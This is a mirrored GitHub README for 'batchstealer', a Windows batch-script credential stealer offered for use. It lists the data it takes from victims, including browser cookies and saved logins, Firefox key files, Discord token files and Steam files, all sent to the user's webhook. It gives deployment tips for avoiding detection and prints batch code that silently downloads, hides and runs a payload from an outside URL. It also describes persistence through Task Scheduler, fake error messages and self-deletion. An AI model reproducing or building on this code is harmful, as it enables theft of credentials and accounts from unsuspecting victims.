Giter Site home page Giter Site logo

takaovi / batchstealer Goto Github PK

View Code? Open in Web Editor NEW
38.0 2.0 7.0 200 KB

A batch script for taking information. A bit overdeveloped, and kind of useless.

License: Do What The F*ck You Want To Public License

Batchfile 100.00%
batch malware fud webhook batch-script firefox growtopia backdoor

batchstealer's Introduction

BatchStealer | BatchStealer Example

๐Ÿ“œ A batch script for taking things and sending them to a webhook

Get The Automatic Builder โค๏ธ

My attempt at making a stealer with batch, it sucks. The script will not be updated anymore. If something, a new one would be made, this time properly. Treat the current BatchStealer as POC, not as a finished product/malware.

3.4.2021 < FUD (Virustotal)

Made with love in Finland

How to use

โš ๏ธ Windows 10 build 17063, or later (cURL is included)

  1. Change the webhook to yours.
  2. Remove the fail-safes. ("goto xxx")
  3. Run the batch file.

โŒ Get rid of the comments ๐Ÿ“

  • Do a regex search on notepad++, match ^::.*\n and replace with nothing.

โ›” Avoid

  • Just changing the webhook and doing nothing else.
    • If the batch file does nothing the user will open it to see what's wrong.

Features

๐Ÿ’‰ Steals

Almost everything is encrypted, I haven't had the patience to do that on a batch file

Full system information
  • OS Name & Version
  • Product ID
  • System Manufacturer
  • Processor(s)
  • BIOS Version
  • Time Zone
  • Total Physical Memory
  • Network Card(s)
  • And more...
Chrome
  • Cookies
  • History
  • Shortcuts
  • Bookmarks
  • Login Data
Opera
  • Cookies
  • History
  • Shortcuts
  • Bookmarks
  • Login Data
Vivaldi
  • Cookies
  • History
  • Shortcuts
  • Bookmarks
  • Login Data
Firefox
  • Logins
  • key3
  • key4
  • Cookies (Plain text!)
osu!
  • osu!.cfg
Discord
  • File containing a Token
  • Other various files
Steam
  • Logged in users (Username, email)
  • Hidden ssfn files
Minecraft
  • Launcher profiles and accounts
Growtopia
  • Save.dat

Other manually addable features

Skip run by Task Scheduler

if not "%~dp0"=="%vpath%\" (
:: Your code not to get recurred
)

Fake error message

set "vpath="
...

:: FAKE ERROR MESSAGE | REMOVE GOTO IF YOU WANT IT TO DISPLAY
:: ----------------------------------------------------------
goto skipfakeerror
if not "%~dp0"=="%vpath%\" (
start /min /b mshta vbscript:Execute("Msgbox(""Bodytext""+vbCrLf+vbCrLf+""Anotherbody""),16,""Titletext"":window.close")
)
:skipfakeerror

...

Download & run payload

set "vpath="
set "webhook="

cd %vpath%
...

:: PAYLOAD - REMOVE GOTO IF YOU WANT THE SCRIPT TO DOWNLOAD AND RUN A FILE SOMEWHERE
:: ---------------------------------------------------------------------------------
goto skipcustomdownload
	set "customdownloadurl=https://external.ext/file.exe"
        set "customfilename=c.exe"
	curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```Downloading and starting a custom file from\n%customdownloadurl% to %vpath%\%customfilename%```\"}" %webhook%
	IF EXIST "%customfilename%" GOTO waitloop4
	curl --silent -L --fail "%customdownloadurl%" -o "%customfilename%"
	>NUL attrib "%vpath%\%customfilename%" +h
	:waitloop4
	IF EXIST "%customfilename%" GOTO waitloopend4
	timeout /t 5 /nobreak > NUL
	:waitloopend4
	2> NUL start "%customfilename%"
:skipcustomdownload

...

๐Ÿ“‘ Other features

  • Delete itself after execution

  • Add itself to Task Scheduler (CMD window will be invisible when executed)

    • Will make files to C:\ProgramData by default. (Hidden)
  • Push updates to infected machine(s) (Beta, expect bugs and crashes)

    • Make sure to have a working batch file's source on the link, it will replace everything.
    • Ability to target specific users (Check username)
  • Take screenshot

Included on the Automatic Builder

  • Add garbage code (Confuse/Fill)

  • Obfuscate Not made yet.

Todo

  • DNS poisoning
    • Simple edit of the hosts file (Would require administrator)
  • Other interesting stuff...

๐Ÿ’ก Support

  • If you want to support the project do a pull request.
    • The pull request could be a new steal etc.

ใŠ™๏ธ Obfuscation (Read carefully)

  • You can try this
    • Recurring does not work with the obfuscation. (Script exits when it reaches it)
    • "Start as administrator" will make a visible error message on the CMD box.

Thanks

Legal

None of the authors, contributors, or anyone else connected with this open source project, in any way whatsoever, can be responsible for your use of the information or the application contained in or linked from this repository.

Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use.

If you don't agree with any of our disclaimers above, do not read the code or download anything from our repository as you have no permission to read and explore our repository until you agree.

batchstealer's People

Contributors

loubaris avatar takaovi avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

batchstealer's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.